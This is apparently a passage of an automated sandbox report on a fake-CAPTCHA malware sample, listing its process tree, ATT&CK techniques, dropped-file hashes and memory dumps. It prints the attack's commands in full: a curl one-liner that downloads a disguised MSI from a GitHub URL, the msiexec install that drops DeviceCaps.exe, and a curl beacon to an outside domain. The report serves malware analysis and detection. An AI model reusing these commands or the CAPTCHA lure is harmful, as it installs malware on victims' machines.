    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1140,i,3411575327032357798,12101707376626685792,262144 --field-trial-handle=1924,i,380060753621113879,18149047936680588435,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5096 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3232
- C:\Windows\System32\WerFault.exe
  "C:\Windows\System32\WerFault.exe" -u -p 3628 -s 240737343
  2⤵
  - Checks processor information in registry
  PID:5396

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5236

C:\Windows\system32\cmd.exe
cmd /c curl -sL -o "C:\Users\Admin\AppData\Local\Temp\cap.msi" "https://raw.githubusercontent.com/davidalaba13/recaptcha/main/captcha.msi"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6048
- C:\Windows\system32\curl.exe
  curl -sL -o "C:\Users\Admin\AppData\Local\Temp\cap.msi" "https://raw.githubusercontent.com/davidalaba13/recaptcha/main/captcha.msi"
  2⤵
  PID:6040

C:\Windows\system32\msiexec.exe
msiexec /i "C:\Users\Admin\AppData\Local\Temp\cap.msi"
1⤵
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
PID:4004

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6012
- C:\Users\Admin\AppData\Local\Harbor Lane Labs\Asset Discovery Service\DeviceCaps.exe
  "C:\Users\Admin\AppData\Local\Harbor Lane Labs\Asset Discovery Service\DeviceCaps.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3628

C:\Windows\system32\curl.exe
curl -s "https://vantaforu.info/rc.php?action=done&token=7zCOzFvaoHMIVoBXIp83" # ''I am not a robot - reCAPTCHA Verification ID: 4223''
1⤵
PID:5196

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e594167.rbs

Path C:\Config.Msi\e594167.rbs
Size 5KB
SHA256 8802813d37ff09ca5859328964a13d2f368f49bed0d30e7d9da81d278df49467
MD5 7c57a9660a2b0f39424560c39472b0e3
SHA1 b45d99a49f128d2a6c51e13e57d6ee57c85b6c3d
SHA512 3c4ed4069ac6def53c24a0dc2a74dba04cea6029e5d08028b1c60a07617618d11e32f4bcffa33f02dc7eae95bc7a035adda2106005f9b2c1490d6f5667bcc6df
SSDEEP 96:0Yw+CjK1/H0K/JvREYtuuxWh+LFirB33r7wCdYpzBGtx3+173k47jBjOD:0YdgEzo73+p0L
TLSH
T105B13742E281C8C2F80D1B33435B5D0C3B5DE1E6D615731A5A8B955B0E95DACE7CC2EE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 593dd957616d6f77687ba2d71ff29d41454562902f6e8dfe445b6328cd0128dc
MD5 b49ca5d91b2fb2ba4f406dbed907d028
SHA1 3730ef790848d9e40624a3fa110fc85b145dd908
SHA512 4778a45302b5959994f15984450487387872a78c5c31d06f757096e29653622b8e092c3c9e5a71d2b89a9981a6eca734ac389df56f94354076dbf6880ccc5d78
TLSH
T1EBE02BB9DA11A82B1DFC175895484B87DA0003A76650490F3A3D411A8FB12364585D5C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 264B
SHA256 bb107c1f12a8d82e3ae9675c2d29104446ca820ad3b558cc8a0fbcb18a48b8fd
MD5 82016b6d4a26167ac9723b8e501af3c5
SHA1 a6683521379faf52ddc2c6f1477c221aafed1fd7
SHA512 6a82f48b79e9ca8b6a9bb7c0147e932536d9347f096be052c6efeae60ff9734c017e8dbc439785057b6c3327863161d1f714e5431b507a33a7f5b905dfc23e7f
TLSH
T1EFD0C99037D1644BF7422130C1E5C8A7B6722A44B19B1E976058F2AB5435FBA5316286
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 390ae26b156ac2a9caaa8e54e04998e3d25ff4b98f8ce1a367fb8250e38a6e3a
MD5 15e2530e5acd01c1884a90e55e0a1d8b
SHA1 aaa4c140904f9cbd01d7064981aec72755a97407
SHA512 7b858320af135b1b51f63c22411c5150a06eb84b2c168820963f1492a5f889aef3f2cb068f52983261be398132c71066a9aaf457e4ab0a10914aa5b566c20333
SSDEEP 192:DiE3mH4JmghRKraI5js/E7FCpHglBjO8qLQuzf:Dd3mH4JmghRKraI5js/E7FCpHglBjO8M
TLSH
T1F4E138E3D6E8872DC55152F49B252D1BCE590528622C3CABC9E5FF8F53E28B2D24064F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 0af3444dbc6199c031f5307ae74c7912c6580ac853aa9be1702e47035e4230be
MD5 95c25c310a787284d03d347d5bad3321
SHA1 d5f7186759fb53a236d29c82172a531bc107fdb1
SHA512 a3bf70f47bc80f29cb51eb20fff98c0e27d001e66504aca1ec661611395d27dad203a753cd7f03a7b0885736fd764e53ccca61e5034125d841b1c7db6ae9ae24
SSDEEP 192:+BRA0/1rznoNlv7sBhAPRp2Z9NHsb+WNnb40e+PzIkwcaoVyIsnAUgtaJ:+BRA0twNV88Xerwc0jU8aM8
TLSH
T1EE42C56EFA14753B9CDAD36AF912B753E7F5212130902E88EAFC892C15E75CC221741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 46172113923cb149051ffae4ff163e20e9fcfb4d1739ed7e7bc693cfa2d8b0bd
MD5 964409115c909cb4cc7b5537f09e2d43
SHA1 f9a5555aa92fb72a7ed2a4c801e4ce0313597e4c
SHA512 de4418b5f21f0c135af246da9815b4fc9a4e5786478ae9c6c5029617909323c856d8b69d7cd0476942b4c669334aa28637b90ba3e9fa2966ca78476b4e934868
SSDEEP 192:+BRA0/1rznouIv7sBhWPRpoPXKAl59NHsb+WNnb4dXxeeZ+PzIkwcagVyIsnAUge:+BRA0twuU8mXJArwc2ewU8ake
TLSH
T17952E66AB914793B9CDAD36AF912BB13E7F5213120D02E88FAFC892C15E75CD2217417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 4a58f5f9d648e6283107f3137c02d304ee5d92321eca459b7e9f63ba54a2f1f6
MD5 41f4e8fc0d0af27bc31bb07e05a40734
SHA1 4280799dff222b0725894ccf4aa1d40dac37d884
SHA512 6581e2b0e9b0f3bbef9b7b6eb3c33199a75fee973fca5ac3fd44e589b4b4f2a1d0ec2e39d0d94b4ea114fac20a8490a2f771461279ec56b8ea486dc1fb48ffe7
SSDEEP 192:+BRA0/1rznou01v7sBhAPRp2PXKAl59NHsb+WNnb4dXK0eH2Mz+PzIkwcakVyIsB:+BRA0twu0F88XjArwcoVH2MOU8age
TLSH
T13852D66AB914793BACDAD36AF912B713E7F5213130902E48EAFC892C15E75CD221B417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 8e890279439cff9d1d0145bd2a8ee6caa09ededf0926ba283f0abee4b64d5710
MD5 5f22dd1a97bc3d6f979bd649f8a6f5d3
SHA1 fa6271c7586daa74b9a53f99c1990a39dafb92f5
SHA512 82eb426d69c3ea40cb360b425ab955fc259c1df6f8f4fedd28148b467349ffafd719f22403c2f52caaa23d3c6d1c3df987b74e7314fb749c129f2f68433ac609
SSDEEP 192:+BRA0/1rznouxv7sBhAPRp2PXKAl59NHsb+WNnb4dXK0eH2Mz+PzIkwcakVyIsnB:+BRA0twuh88XjArwcoVH2MOU8age
TLSH
T1B852D66AB914793BACDAD369F912B713E7F5213130902E48FAFC892C15E75CD221B417
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 0d2a156654c1c543f684a1b78fc1acde7a605db8760d180da55c6029bd11d4cc
MD5 fca0a080e03e1f9f1f1ec2f425ee2b0e
SHA1 04435d408b3c935d0c54889e9019a986e7e3d26e
SHA512 0133469141ee35d9bb385a53718d74af5f96fe7ea3c4d774df026da6bbcd201abccd4b10b8b4bb6f9e60e57cecfd324ba1f320a5bc5ef4bba05fdb56deff9ffe
SSDEEP 384:7tjtw7KxkXqKf/pUZNCgVLH2HfgslsD7pLuLcSj5EXODtw+ErU3U2HG4B6T6:7ttw7KxkXqKf/pUZNCgVLH2HfgsiD7pa
TLSH
T14572F9A76C4C8E770F94CACCDC16BB4FADB5024B65E9886487FA581903D5BCB110A1FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 b87981f263a68443c1f08b90b9c1f03595165c3893d028586ef6b1516b545acb
MD5 10df8c2ccba61c86ae2773e88a3cfe2a
SHA1 bee563811dbedd5e2528e78afe7d0f18e2a159b2
SHA512 282069e4c8e4b44985ce6587765c9f70f413d3f7bdb37852a6e71321d3da462d98322a65744bf6f60cb7f46b024a295b196451044a1fcfcc5a8ca0e1470584d4
TLSH
T176B0128490415501C48202F02142289C7214AF11960E670243E4F932C8292718014091
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58b0fc.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58b0fc.TMP
Size 96B
SHA256 4d7eb49120bd10e348ae7cc830ebcecf3e37c5bdcd3f0181a288c039340b944e
MD5 510310eeaf72a215375b008e06c1133f
SHA1 b27f8bf75a85620b78a1405c6915a40c1b085532
SHA512 78a30e8ca423fa479ad6e3ec390163c9e633dca4dd58d2a9d9d290d3b5657a0e2bd66b91865f6a2efe46f0a03ac12aaa15f8922b4db2faefb88d58ef023e860b
TLSH
T1EAB00266D5026216D14203BC25A9E5F872A1DF29CA03126393E06E6EDC2567247A51A2
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 241KB
SHA256 85bc64419b675930b0aea4b3ccf66cd06e762660b5e8c5b241233e1cd10c4fda
MD5 f57d482c4938e80b9e09cd2144001a3f
SHA1 77055578761ce170843e449c8539812e15ee4293
SHA512 2257bf2db9d6d3d7d46a2e1207bff0bade22d24c0e9c0be25eaac3c4b6eac8fa408e3263b351da7141360deeddfcd9d3bbe2d93afc132008ca78126dc4928c1c
SSDEEP 6144:dJyS9NqO2K/r3tzwniprlhDm7Rkm1tYpBeh2BAo/:DyS9NqS/rmniBy9oBGcAo/
TLSH
T1D0342223BEB5ED3EDD97B269E05F0B0B1DB2C59BC835FE9848C55A4433D3AD80205968
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 b53c973e4ac8a9721a623648a4fbf9959366ebf110f16462663d66accb082e0c
MD5 29c485a1af1a2990c1681a8d19da80d1
SHA1 63695bf704a21da78b4bec0593e8eed43c1cb836
SHA512 8054d987c5233cd6fa00e1fea81c82e0511e588fbf1fb47d2ff221c59b0f5af599b9ec83300ae240b636d79e7173f709b735989ac76dcd2cfa88c2c425d99a2d
SSDEEP 3072:3Gm7D5Lk17ox1tIpud63U8BehbCBi9fTrMe:2m7Rkm1tYpBeh2BAoe
TLSH
T149C3122B5E75A9775DB5B74EB08E0B1F1EF14EA6C920DE82C8D85B0437EA7CC0A44934
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 241KB
SHA256 d06b28fb658015ad6356fdb8531de62d1157008965e7f66ec989851053dd02e9
MD5 b8316a6f16e453f041e965781d71d370
SHA1 ca72bd60b358b894e0b3ea17adbcaf5157406fb4
SHA512 ef5b55db85fc177a14ad4336899e28cc2930d6dc66a118c354169344add01b5f302c81dd30d3f3bbe17fddbf424ff6d376f53cc7155690a9979741398d97b100
SSDEEP 6144:CJyS9NqO2K/r3tzwniprlhDm7Rkm1tYpBeh2BAo/:GyS9NqS/rmniBy9oBGcAo/
TLSH
T140342223BEB5ED3EDD97B269E05F0B0B1DB2C59BC835FE9848C55A4423D3A880205968
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 242KB
SHA256 c9f0167b485a9738495f20d35cc5aa54bd519d853710c010c9a343f1f2d8c5a1
MD5 2ddf1cad4fa9fe940ba972f782500ff1
SHA1 965b95ad3d66ffd1f6d7c8c21119b3b06f69587d
SHA512 3f1d7e0b4ccdf9cd92b25a90e16935f314f9c941ffa8de02127b1cb33b1df225d794505f1c78e69799b8c1060f2b8497de7288d59892dc5b15d44af2040c03ce
SSDEEP 6144:DJyS9NqO2K/r3tzwniprlhDm7Rkm1tYpBeh2BAo/:VyS9NqS/rmniBy9oBGcAo/
TLSH
T172341233BE75DD3EDD97B259E05F0B0A1CB2C59BC839FE9848C95E4423D6ADC0209964
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 242KB
SHA256 4663cba961474b0afcec5783e7e08a64c4f8b85885e2e7d5bc8f307530df37dd
MD5 7a52eb4761297460b76602cf064833c1
SHA1 a580a24e7935c12c2ca9878d39c3cf97916dafc8
SHA512 60409661bbcde4b2476040a9340162cb573876761ecaa73cd73637e48f98efdbc86a2f025d8a89f0823a2736b112b218e5ed6a0c2eade0f68d820456c12b94e6
SSDEEP 6144:sJyS9NqO2K/r3tzwniprlhDm7Rkm1tYpBeh2BAo/:kyS9NqS/rmniBy9oBGcAo/
TLSH
T127341233BE75E93EDCA7B259E05F0B0A1CB2C59BC839FE9848C55E4423D6ADC0609964
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DeviceCaps.exe

Path C:\Users\Admin\AppData\Local\Harbor Lane Labs\Asset Discovery Service\DeviceCaps.exe
Size 292KB
SHA256 894aeebd244459f700c03f17371ebe1ccd9b8f90533910cfd713a01cfd6a4d39
MD5 8c3978a8084ea687b3483d2c041ebe87
SHA1 79bbc9b0c70a4d31224e7d1e17837fbe8d85842c
SHA512 5457c41a5bd544d6a9f69fa9dc0cdaefeeec3ba23b8dc833be7d4e2950d2e5b9c9147133daa1eb2964521975b7537a0b68e8fce8e25427e170c9f73eb541408f
SSDEEP 6144:PI6L5YGln4hfcVF+xCuFBqy8yguecJWszkkdAu:wYSWnsvUqysjdx
TLSH
T1E6546C23975809B5E576C2BCCA838403EBB67C5713A1D2CB0BD19A662F27ED42F76701
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSVCP140.dll

Path C:\Users\Admin\AppData\Local\Harbor Lane Labs\Asset Discovery Service\MSVCP140.dll
Size 628KB
SHA256 7c26614e1d733892c2deac7e245ce115504b1d80592dd0a01b08e3e5a55f89ca
MD5 4796bb351c00d47717906bbee4e20837
SHA1 480c725faafa25d2274bde6f8791bcd8b525e5e5
SHA512 2777a9b104f0ac244d90572e02c2f2fb911ce4e8bd9f7b099074d5614c9a7d423c14eb6c46087167e160b6c614d6fbdd9b762b41eb7f023ff66ee65837071db5
SSDEEP 12288:60hIKSLeXl9vce+YtEd5tFYDIpDv5bKwWKBaXzogmIGq2HZ5D13EXwbkDZmaD4EJ:60VkwDIpsezBbkDZmaDH50NQEKZm+jWA
TLSH
T1E8D42923774D02A0D195F2B9A1C74306E7F1B8464323A3C392EADA6D2F5B3D9677B250
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

enum.png

Path C:\Users\Admin\AppData\Local\Harbor Lane Labs\Asset Discovery Service\enum.png
Size 14.1MB
SHA256 73793ee46f729a62b01d4c1b9e60aeea77da6b3e184864617de9e183cf298ab3
MD5 8a6822499da4a32b352151ff9bcf94be
SHA1 cac8b6735450faa2ee50abbbffded45d25d4e38c
SHA512 aebb444981ace49d7d71340a24cff95438a31386608cb869c8afed040a94f4eb28fb45319e978de645cf3c53e07655cb1e07ab38501046aaf2ed56f3f5c49e80
SSDEEP 196608:9ydIz34f8vD20wP5R026k8gsb+05dYZLNCqDUDXhEEojE6LxCq2xVx7AKPNJrH6E:QQ3G8j5JNbjqItEEoA6CFFlJrayL
TLSH
T17AE633EA3D9365FFAFC0E835051BD4BE7D425482E6E0181579AF4BC5702768E20932AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libmfxhw64.dll

Path C:\Users\Admin\AppData\Local\Harbor Lane Labs\Asset Discovery Service\libmfxhw64.dll
Size 242KB
SHA256 db8cdffe006e36d912dd7cb2a4ed0205e86e4404dfe2d9d4369d7fd44f148a0e
MD5 4011c40db90b90cfcb8910892536e0e4
SHA1 bb45a13815a68366186a79ff903330a0f8470aeb
SHA512 3b6057bc1ea30ad57d73e728e376805cf7d46b34b44b8d48778520c49d3c6a05feae3ec0183d60e1a3a9898dbd0aec3416ca3a4731d679a267c2e927c41deeb1
SSDEEP 768:wEzZz6TCS/ECuxTtF5ExZW03doyAmqsho/R:3zp69EnxF5ExM0Vo/R
TLSH
T1D834BE409680DC96CF758675E8FC4B51A738CA7A6B72F73B535800B44D129C2CEBF6A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140.dll

Path C:\Users\Admin\AppData\Local\Harbor Lane Labs\Asset Discovery Service\vcruntime140.dll
Size 174KB
SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
MD5 07bc2f9c4c1b07e1cc013ca0079b31ac
SHA1 1098f2a834146995df7a91c78f72f210d8d2d12d
SHA512 8fd063d61d1c57bfae5ef105b1796c141ef2752dbad17ae79f974c417542c075bc8b4ac12163629a74e43004fd9cf170a76de9d11841b6e5c236f5b47fbbb09b
SSDEEP 3072:aoq3aLPst/GrhA4gBSnSQ37QwZyeBB0ecbavp7D:aofLPsmBnSQ3VyeBB0ecbaV
TLSH
T1C6048D51B2CC00B2E92B9674CCD69553D6B1B0057B30AADF47A846782F33FF2A63DA15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcruntime140_1.dll

Path C:\Users\Admin\AppData\Local\Harbor Lane Labs\Asset Discovery Service\vcruntime140_1.dll
Size 48KB
SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
MD5 bbfa92d8173376c972fd58dcf5ca6aaa
SHA1 b7b4b6e7045caccc0f790e3395e1f514d01f6b2f
SHA512 f5856e7cb7bc8f40efc276f8e7024db9176052ebd47cd02e799aacde650293992a84a6a4856dd974077e94e688bb4ed67f18c1dfd8357afa8698dd0dfead68d3
SSDEEP 768:bmiyc1PGhsryS/TAiblJce9z4Snqdlfe9z1Y:2cF8srygDlSaz4Ez1Y
TLSH
T1DA235E8193BC8086E8B798B480EBDF13BD3DB661976192CF1BA1E15C1D537C0D73926A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cap.msi

Path C:\Users\Admin\AppData\Local\Temp\cap.msi
Size 16.2MB
SHA256 73c471df009e5fac8744e247df5258c539ed6d8f4fbd4c251dfe1df56dca58e8
MD5 4151c0ca9a147b9cc30f497aaa814c47
SHA1 e4a6d2ee33d7ae103e9ff0581d0262913b2dd2fb
SHA512 7f295bf90461ee306fe4cdd2eb3cd9c4e66d516a747f731b90cd68f40f0b2b6647d801d1ed5d8101d0fbb5484f42563a97223f6235571acf07a100561fcb6694
SSDEEP 196608:nFlwy9ozXY9cPj20QvZx0s6EcgMbeU59YZrNCqDUDXhkrojE6LRCqWRVxbgKPtJ5:nFlfQXQcjfJtbDqItkroAaCllFJra6
TLSH
T199072322634449B5D971D27884DB8602E7B1BC124332F3E713E6B6692F37BC4AB7B251
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3628-272-0x00007FF83B0E0000-0x00007FF83B126000-memory.dmp

Download

memory/3628-214-0x000001F40E870000-0x000001F40F681000-memory.dmp

Download

memory/3628-213-0x000001F40DA60000-0x000001F40E870000-memory.dmp

Download

memory/3628-225-0x000001F40F690000-0x000001F4104A3000-memory.dmp

Download

memory/3628-215-0x000001F40F690000-0x000001F4104A3000-memory.dmp

Download

memory/3628-227-0x000001F40F690000-0x000001F4104A3000-memory.dmp

Download

memory/3628-270-0x00007FF840EF0000-0x00007FF840F36000-memory.dmp

Download

memory/3628-271-0x00007FF83B130000-0x00007FF83B176000-memory.dmp

Download

memory/5396-246-0x000001FB2BA40000-0x000001FB2E4FE000-memory.dmp

Download

memory/5396-261-0x000001FB2BA40000-0x000001FB2E4FE000-memory.dmp

Download

memory/5396-260-0x000001FB2BA40000-0x000001FB2E4FE000-memory.dmp

Download

memory/5396-259-0x000001FB2BA40000-0x000001FB2E4FE000-memory.dmp

Download

memory/5396-257-0x000001FB2BA40000-0x000001FB2E4FE000-memory.dmp

Download

memory/5396-258-0x000001FB2BA40000-0x000001FB2E4FE000-memory.dmp

Download

memory/5396-245-0x000001FB2AFD0000-0x000001FB2BA31000-memory.dmp

Download